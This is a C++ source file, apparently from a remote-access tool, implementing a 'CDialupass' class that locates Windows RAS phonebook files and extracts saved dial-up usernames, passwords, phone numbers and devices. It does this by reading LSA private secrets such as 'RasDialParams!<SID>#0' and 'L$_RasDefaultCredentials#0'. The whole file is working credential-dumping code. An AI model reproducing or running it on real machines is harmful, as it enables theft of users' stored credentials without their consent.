322 lines
8.8 KiB
C++
322 lines
8.8 KiB
C++
// Dialupass.cpp: implementation of the CDialupass class.
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//
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//////////////////////////////////////////////////////////////////////
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#include "stdafx.h"
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#include "Dialupass.h"
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#include "../until.h"
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//////////////////////////////////////////////////////////////////////
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// Construction/Destruction
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//////////////////////////////////////////////////////////////////////
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CDialupass::CDialupass()
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{
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m_nMax = 0;
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m_lpCurrentUser = GetCurrentLoginUser();
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m_nRasCount = GetRasEntryCount();
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m_PassWords = new PASSWORDS[m_nRasCount];
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OneInfo = new COneInfo* [m_nRasCount];
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m_nUsed = 0;
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m_nCount = 0;
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GetRasEntries();
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}
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CDialupass::~CDialupass()
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{
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for(int i=0; i<m_nRasCount; i++)
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delete OneInfo[i];
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delete m_PassWords;
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if (!m_lpCurrentUser)
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delete m_lpCurrentUser;
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}
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DWORD CDialupass::GetRasEntryCount()
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{
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int nCount = 0;
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char *lpPhoneBook[2];
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char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
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GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
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lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
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lstrcat(szPhoneBook1, m_lpCurrentUser);
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lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
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SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
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wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
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lpPhoneBook[0] = szPhoneBook1;
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lpPhoneBook[1] = szPhoneBook2;
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DWORD nSize = 1024 * 4;
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char *lpszReturnBuffer = new char[nSize];
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for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
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{
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memset(lpszReturnBuffer, 0, nSize);
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GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
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for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
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{
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nCount++;
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}
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}
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delete lpszReturnBuffer;
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return nCount;
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}
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LPTSTR CDialupass::GetLocalSid()
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{
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union
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{
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SID s;
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char c[256];
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}Sid;
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DWORD sizeSid=sizeof(Sid);
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char DomainName[256];
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DWORD sizeDomainName=sizeof(DomainName);
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SID_NAME_USE peUse;
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LPSTR pSid;
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if (m_lpCurrentUser == NULL)
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return NULL;
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if(!LookupAccountName(NULL,m_lpCurrentUser,(SID*)&Sid,&sizeSid,DomainName,&sizeDomainName,&peUse))return NULL;
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if(!IsValidSid(&Sid))return NULL;
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typedef BOOL (WINAPI *ConvertSid2StringSid)(PSID , LPTSTR *);
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ConvertSid2StringSid proc;
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HINSTANCE hLibrary = LoadLibrary("advapi32.dll");
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proc = (ConvertSid2StringSid) GetProcAddress(hLibrary, "ConvertSidToStringSidA");
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if(proc) proc((SID*)&Sid.s,&pSid);
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FreeLibrary(hLibrary);
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return pSid;
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}
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void CDialupass::AnsiStringToLsaStr(LPSTR AValue,PLSA_UNICODE_STRING lsa)
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{
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lsa->Length=lstrlen(AValue)*2;
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lsa->MaximumLength=lsa->Length+2;
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lsa->Buffer=(PWSTR)malloc(lsa->MaximumLength);
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MultiByteToWideChar(NULL,NULL,(LPCSTR)AValue,lstrlen(AValue),lsa->Buffer,lsa->MaximumLength);
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}
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PLSA_UNICODE_STRING CDialupass::GetLsaData(LPSTR KeyName)
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{
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LSA_OBJECT_ATTRIBUTES LsaObjectAttribs;
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LSA_HANDLE LsaHandle;
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LSA_UNICODE_STRING LsaKeyName;
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NTSTATUS nts;
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PLSA_UNICODE_STRING OutData;
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ZeroMemory(&LsaObjectAttribs,sizeof(LsaObjectAttribs));
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nts=LsaOpenPolicy(NULL,&LsaObjectAttribs,POLICY_GET_PRIVATE_INFORMATION,&LsaHandle);
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if(nts!=0)return NULL;
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AnsiStringToLsaStr(KeyName, &LsaKeyName);
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nts=LsaRetrievePrivateData(LsaHandle, &LsaKeyName,&OutData);
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if(nts!=0)return NULL;
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nts=LsaClose(LsaHandle);
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if(nts!=0)return NULL;
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return OutData;
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}
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/////////
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void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
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{
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char AnsiPsw[1024];
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char chr,PswStr[256];
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PswStr[0]=0;
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WideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);
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for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
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{
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chr=AnsiPsw[i];
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if(chr==0)
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{
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SpacePos++;
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switch(SpacePos)
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{
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case 1:
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PswStr[TXT]=chr;
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strcpy(m_PassWords[m_nUsed].UID,PswStr);
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break;
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case 6:
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PswStr[TXT]=chr;
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strcpy(m_PassWords[m_nUsed].login,PswStr);
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break;
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case 7:
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PswStr[TXT]=chr;
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strcpy(m_PassWords[m_nUsed].pass,PswStr);
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m_PassWords[m_nUsed].used=false;
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m_nUsed++;
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break;
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}
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ZeroMemory(PswStr,256);
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TXT=0;
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}
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else
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{
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PswStr[TXT]=chr;
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TXT++;
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}
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if(SpacePos==9)SpacePos=0;
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}
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}
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///////////
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void CDialupass::GetLsaPasswords()
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{
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PLSA_UNICODE_STRING PrivateData;
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char Win2k[]="RasDialParams!%s#0";
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char WinXP[]="L$_RasDefaultCredentials#0";
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char temp[256];
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wsprintf(temp,Win2k,GetLocalSid());
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PrivateData=GetLsaData(temp);
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if(PrivateData!=NULL)
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{
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ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
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LsaFreeMemory(PrivateData->Buffer);
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}
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PrivateData=GetLsaData(WinXP);
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if(PrivateData!=NULL)
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{
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ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length);
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LsaFreeMemory(PrivateData->Buffer);
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}
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}
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bool CDialupass::GetRasEntries()
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{
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int nCount = 0;
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char *lpPhoneBook[2];
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char szPhoneBook1[MAX_PATH+1], szPhoneBook2[MAX_PATH+1];
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GetWindowsDirectory(szPhoneBook1, sizeof(szPhoneBook1));
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lstrcpy(strchr(szPhoneBook1, '\\') + 1, "Documents and Settings\\");
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lstrcat(szPhoneBook1, m_lpCurrentUser);
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lstrcat(szPhoneBook1, "\\Application Data\\Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
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SHGetSpecialFolderPath(NULL,szPhoneBook2, 0x23, 0);
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wsprintf(szPhoneBook2, "%s\\%s", szPhoneBook2, "Microsoft\\Network\\Connections\\pbk\\rasphone.pbk");
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lpPhoneBook[0] = szPhoneBook1;
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lpPhoneBook[1] = szPhoneBook2;
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OSVERSIONINFO osi;
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osi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
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GetVersionEx(&osi);
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if(osi.dwPlatformId == VER_PLATFORM_WIN32_NT && osi.dwMajorVersion >= 5)
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{
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GetLsaPasswords();
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}
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DWORD nSize = 1024 * 4;
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char *lpszReturnBuffer = new char[nSize];
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for (int i = 0; i < sizeof(lpPhoneBook) / sizeof(int); i++)
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{
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memset(lpszReturnBuffer, 0, nSize);
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GetPrivateProfileSectionNames(lpszReturnBuffer, nSize, lpPhoneBook[i]);
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for(char *lpSection = lpszReturnBuffer; *lpSection != '\0'; lpSection += lstrlen(lpSection) + 1)
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{
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char *lpRealSection = (char *)UTF8ToGB2312(lpSection);
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char strDialParamsUID[256];
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char strUserName[256];
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char strPassWord[256];
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char strPhoneNumber[256];
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char strDevice[256];
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memset(strDialParamsUID, 0, sizeof(strDialParamsUID));
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memset(strUserName, 0, sizeof(strUserName));
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memset(strPassWord, 0, sizeof(strPassWord));
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memset(strPhoneNumber, 0, sizeof(strPhoneNumber));
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memset(strDevice, 0, sizeof(strDevice));
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int nBufferLen = GetPrivateProfileString(lpSection, "DialParamsUID", 0,
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strDialParamsUID, sizeof(strDialParamsUID), lpPhoneBook[i]);
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if (nBufferLen > 0)//DialParamsUID=4326020 198064
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{
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for(int j=0; j< (int)m_nRasCount; j++)
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{
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if(lstrcmp(strDialParamsUID, m_PassWords[j].UID)==0)
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{
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lstrcpy(strUserName, m_PassWords[j].login);
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lstrcpy(strPassWord, m_PassWords[j].pass);
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m_PassWords[j].used=true;
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m_nUsed++;
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break;
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}
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}
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}
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GetPrivateProfileString(lpSection, "PhoneNumber", 0,
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strPhoneNumber, sizeof(strDialParamsUID), lpPhoneBook[i]);
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GetPrivateProfileString(lpSection, "Device", 0,
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strDevice, sizeof(strDialParamsUID), lpPhoneBook[i]);
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char *lpRealDevice = (char *)UTF8ToGB2312(strDevice);
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char *lpRealUserName = (char *)UTF8ToGB2312(strUserName);
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Set(strDialParamsUID, lpRealSection, lpRealUserName, strPassWord,
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strPhoneNumber, lpRealDevice);
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delete lpRealSection;
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delete lpRealUserName;
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delete lpRealDevice;
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}
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}
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delete lpszReturnBuffer;
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return true;
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}
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BOOL CDialupass::Set(char *DialParamsUID, char *Name,char *User,char *Password,char *PhoneNumber, char *Device)
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{
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for(int i=0; i<m_nMax; i++){
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if(0==strcmp(OneInfo[i]->Get(STR_DialParamsUID), DialParamsUID)){
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if(Name!=NULL)
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OneInfo[i]->Set(STR_Name,Name);
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if(User!=NULL)
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OneInfo[i]->Set(STR_User,User);
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if(Password!=NULL)
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OneInfo[i]->Set(STR_Password,Password);
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if(PhoneNumber!=NULL)
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OneInfo[i]->Set(STR_PhoneNumber,PhoneNumber);
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if(Device!=NULL)
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OneInfo[i]->Set(STR_Device, Device);
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return TRUE;
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}
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}
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if(m_nMax < m_nRasCount){
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OneInfo[m_nMax] = new COneInfo;
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OneInfo[m_nMax]->Set(STR_DialParamsUID,DialParamsUID);
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OneInfo[m_nMax]->Set(STR_Name,Name);
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OneInfo[m_nMax]->Set(STR_User,User);
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OneInfo[m_nMax]->Set(STR_Password,Password);
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OneInfo[m_nMax]->Set(STR_PhoneNumber,PhoneNumber);
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OneInfo[m_nMax]->Set(STR_Device,Device);
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m_nMax ++;
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return TRUE;
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}
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return false;
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}
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LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
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{
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if (UTF8Str == NULL || lstrlen(UTF8Str) == 0)
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return "";
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int nStrLen = lstrlen(UTF8Str) * 2;
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char *lpWideCharStr = new char[nStrLen];
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char *lpMultiByteStr = new char[nStrLen];
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MultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
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WideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);
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delete lpWideCharStr;
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return lpMultiByteStr;
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}
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